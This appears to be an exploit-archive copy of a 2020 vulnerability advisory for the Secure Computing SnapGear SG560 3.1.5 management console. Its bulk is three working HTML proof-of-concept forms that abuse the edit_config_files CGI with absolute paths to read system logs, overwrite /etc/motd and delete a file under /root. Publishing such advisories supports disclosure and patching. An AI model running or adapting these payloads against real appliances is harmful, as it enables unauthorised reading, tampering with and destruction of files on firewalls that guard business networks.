Registersecure computing snapgear management console sg560 3.1.5 arbitrary file read
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# Title: Secure Computing SnapGear Management Console SG560 3.1.5 - Arbitrary File Read # Author:LiquidWorm # Date: 2020-06-04 # Vendor: http://www.securecomputing.com # CVE: N/A Secure Computing SnapGear Management Console SG560 v3.1.5 Arbitrary File Read/Write Vendor: Secure Computing Corp. Product web page: http://www.securecomputing.com Affected version: 3.1.5u1 Summary: The SG gateway appliance range provides Internet security and privacy of communications for small and medium enterprises, and branch offices. It simply and securely connects your office to the Internet, and with its robust stateful firewall, shields your computers from external threats. Desc: The application allows the currently logged-in user to edit the configuration files in the system using the CGI executable 'edit_config_files' in /cgi-bin/cgix/. The files that are allowed to be modified (read/write/delete) are located in the /etc/config/ directory. An attacker can manipulate the POST request parameters to escape from the restricted environment by using absolute path and start reading, writing and deleting arbitrary files on the system. Tested on: fnord/1.9 Apache 1.3.27 (Unix) Linux 2.4.31 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2020-5568 Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5568.php 14.05.2020 -- Read: ----- <html> <body> <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST"> <input type="hidden" name=".form" value="choices" /> <input type="hidden" name=".page" value="select_file" /> <input type="hidden" name="name$1337" value="/var/log/messages" /> <input type="hidden" name="modify$1337" value="1" /> <input type="hidden" name=".defaultname" value="newitem" /> <input type="submit" value="Read" /> </form> </body> </html> Write/overwrite/move: --------------------- <html> <body> <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST"> <input type="hidden" name=".form" value="edit" /> <input type="hidden" name=".page" value="edit_file" /> <input type="hidden" name="enabled$0" value="" /> <input type="hidden" name="name$0" value="/etc/motd" /> <input type="hidden" name="mode$0" value="" /> <input type="hidden" name="filename" value="/etc/motd" /> <input type="hidden" name="filecontents" value="pwned" /> <input type="hidden" name="finish" value="Finish" /> <input type="hidden" name=".defaultname" value="finish" /> <input type="submit" value="Write" /> </form> </body> </html> Delete: ------- <html> <body> <form action="http://10.0.2.2/cgi-bin/cgix/edit_config_files" method="POST"> <input type="hidden" name=".form" value="choices" /> <input type="hidden" name=".page" value="select_file" /> <input type="hidden" name="name$251" value="/root/.secret" /> <input type="hidden" name="delete$251" value="1" /> <input type="hidden" name=".defaultname" value="newitem" /> <input type="submit" value="Delete" /> </form> </body> </html>
Secure computing snapgear management console sg560 3.1.5 arbitrary file read Vulnerability / Exploit Source : Secure computing snapgear management console sg560 3.1.5 arbitrary file read
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